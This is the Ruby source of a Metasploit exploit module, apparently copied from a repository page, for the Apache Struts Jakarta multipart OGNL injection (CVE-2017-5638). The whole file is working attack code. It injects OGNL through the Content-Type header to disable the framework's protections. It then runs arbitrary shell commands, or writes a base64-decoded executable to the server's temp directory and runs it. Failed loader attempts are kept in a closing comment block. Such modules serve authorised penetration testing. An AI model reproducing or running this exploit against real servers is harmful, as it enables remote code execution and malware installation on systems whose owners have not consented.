229 lines
No EOL
12 KiB
Ruby
Executable file
229 lines
No EOL
12 KiB
Ruby
Executable file
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::EXE
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Apache Struts Jakarta Multipart Parser OGNL Injection',
|
|
'Description' => %q{
|
|
This module exploits a remote code execution vunlerability in Apache Struts
|
|
version 2.3.5 - 2.3.31, and 2.5 - 2.5.10. Remote Code Execution can be performed
|
|
via http Content-Type header.
|
|
|
|
Native payloads will be converted to executables and dropped in the
|
|
server's temp dir. If this fails, try a cmd/* payload, which won't
|
|
have to write to the disk.
|
|
},
|
|
'Author' => [
|
|
'Nike.Zheng', # PoC
|
|
'Nixawk', # Metasploit module
|
|
'Chorder', # Metasploit module
|
|
'egypt', # combining the above
|
|
'Jeffrey Martin', # Java fu
|
|
],
|
|
'References' => [
|
|
['CVE', '2017-5638'],
|
|
['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-045']
|
|
],
|
|
'Privileged' => true,
|
|
'Targets' => [
|
|
[
|
|
'Universal', {
|
|
'Platform' => %w{ unix windows linux },
|
|
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
|
|
},
|
|
],
|
|
],
|
|
'DisclosureDate' => 'Mar 07 2017',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(8080),
|
|
OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-showcase/' ]),
|
|
]
|
|
)
|
|
register_advanced_options(
|
|
[
|
|
OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ])
|
|
]
|
|
)
|
|
|
|
@data_header = "X-#{rand_text_alpha(4)}"
|
|
end
|
|
|
|
def check
|
|
var_a = rand_text_alpha_lower(4)
|
|
|
|
ognl = ""
|
|
ognl << %q|(#os=@java.lang.System@getProperty('os.name')).|
|
|
ognl << %q|(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('|+var_a+%q|', #os))|
|
|
|
|
begin
|
|
resp = send_struts_request(ognl)
|
|
rescue Msf::Exploit::Failed
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
|
|
if resp && resp.code == 200 && resp.headers[var_a]
|
|
vprint_good("Victim operating system: #{resp.headers[var_a]}")
|
|
Exploit::CheckCode::Vulnerable
|
|
else
|
|
Exploit::CheckCode::Safe
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
case payload.arch.first
|
|
#when ARCH_JAVA
|
|
# datastore['LHOST'] = nil
|
|
# resp = send_payload(payload.encoded_jar)
|
|
when ARCH_CMD
|
|
resp = execute_command(payload.encoded)
|
|
else
|
|
resp = send_payload(generate_payload_exe)
|
|
end
|
|
|
|
require'pp'
|
|
pp resp.headers if resp
|
|
end
|
|
|
|
def send_struts_request(ognl, extra_header: '')
|
|
uri = normalize_uri(datastore["TARGETURI"])
|
|
content_type = "%{(#_='multipart/form-data')."
|
|
content_type << "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
|
|
content_type << "(#_memberAccess?"
|
|
content_type << "(#_memberAccess=#dm):"
|
|
content_type << "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
|
|
content_type << "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
|
|
content_type << "(#ognlUtil.getExcludedPackageNames().clear())."
|
|
content_type << "(#ognlUtil.getExcludedClasses().clear())."
|
|
content_type << "(#context.setMemberAccess(#dm))))."
|
|
content_type << ognl
|
|
content_type << "}"
|
|
|
|
headers = { 'Content-Type' => content_type }
|
|
if extra_header
|
|
headers[@data_header] = extra_header
|
|
end
|
|
|
|
#puts content_type.gsub(").", ").\n")
|
|
#puts
|
|
|
|
resp = send_request_cgi(
|
|
'uri' => uri,
|
|
'method' => datastore['HTTPMethod'],
|
|
'headers' => headers
|
|
)
|
|
|
|
if resp && resp.code == 404
|
|
fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')
|
|
end
|
|
resp
|
|
end
|
|
|
|
def execute_command(cmd)
|
|
ognl = ''
|
|
ognl << %Q|(#cmd=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{@data_header}')).|
|
|
|
|
# You can add headers to the server's response for debugging with this:
|
|
#ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).|
|
|
#ognl << %q|(#r.addHeader('decoded',#cmd)).|
|
|
|
|
ognl << %q|(#os=@java.lang.System@getProperty('os.name')).|
|
|
ognl << %q|(#cmds=(#os.toLowerCase().contains('win')?{'cmd.exe','/c',#cmd}:{'/bin/sh','-c',#cmd})).|
|
|
ognl << %q|(#p=new java.lang.ProcessBuilder(#cmds)).|
|
|
ognl << %q|(#p.redirectErrorStream(true)).|
|
|
ognl << %q|(#process=#p.start())|
|
|
|
|
send_struts_request(ognl, extra_header: cmd)
|
|
end
|
|
|
|
def send_payload(exe)
|
|
|
|
ognl = ""
|
|
ognl << %Q|(#data=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{@data_header}')).|
|
|
ognl << %Q|(#f=@java.io.File@createTempFile('#{rand_text_alpha(4)}','.exe')).|
|
|
#ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).|
|
|
#ognl << %q|(#r.addHeader('file',#f.getAbsolutePath())).|
|
|
ognl << %q|(#f.setExecutable(true)).|
|
|
ognl << %q|(#f.deleteOnExit()).|
|
|
ognl << %q|(#fos=new java.io.FileOutputStream(#f)).|
|
|
|
|
# Using stuff from the sun.* package here means it likely won't work on
|
|
# non-Oracle JVMs, but the b64 decoder in Apache Commons doesn't seem to
|
|
# work and I don't see a better way of getting binary data onto the
|
|
# system. =/
|
|
ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#data)).|
|
|
ognl << %q|(#fos.write(#d)).|
|
|
ognl << %q|(#fos.close()).|
|
|
|
|
ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).|
|
|
ognl << %q|(#p.start()).|
|
|
ognl << %q|(#f.delete())|
|
|
|
|
send_struts_request(ognl, extra_header: [exe].pack("m").delete("\n"))
|
|
end
|
|
|
|
end
|
|
|
|
=begin
|
|
Doesn't work:
|
|
|
|
ognl << %q|(#cl=new java.net.URLClassLoader(new java.net.URL[]{#f.toURI().toURL()})).|
|
|
ognl << %q|(#c=#cl.loadClass('metasploit.Payload')).|
|
|
ognl << %q|(#m=@ognl.OgnlRuntime@getMethods(#c,'main',true).get(0)).|
|
|
ognl << %q|(#r.addHeader('meth',#m.toGenericString())).|
|
|
ognl << %q|(#m.invoke(null,null)).|
|
|
|
|
#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('java.lang.Object'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
|
|
#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('java.lang.String'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
|
|
#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('[Ljava.lang.Object;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
|
|
#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('[Ljava.lang.String;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
|
|
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{})).|
|
|
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.Object')})).|
|
|
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).|
|
|
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926
|
|
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|
|
|
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd
|
|
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{null})).|
|
|
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('java.lang.Object')})).|
|
|
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926
|
|
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|
|
|
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd
|
|
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9
|
|
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9
|
|
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4fee2899
|
|
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[])).| # parse failed
|
|
#ognl << %q|(#m=#c.getMethod('run',null)).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@50af0cd6
|
|
|
|
#ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('java.lang.Object'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
|
|
#ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('java.lang.String'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
|
|
#ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('[Ljava.lang.Object;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
|
|
#ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('[Ljava.lang.String;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@2231d3a9
|
|
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{})).|
|
|
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('java.lang.Object')})).|
|
|
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).|
|
|
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|
|
|
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd
|
|
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{null})).|
|
|
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('java.lang.Object')})).|
|
|
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926
|
|
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|
|
|
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926
|
|
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@5f78809f
|
|
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9
|
|
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@56c6add5
|
|
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[])).| # parse failed
|
|
#ognl << %q|(#m=#c.getMethod('main',null)).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@1722884
|
|
|
|
=end |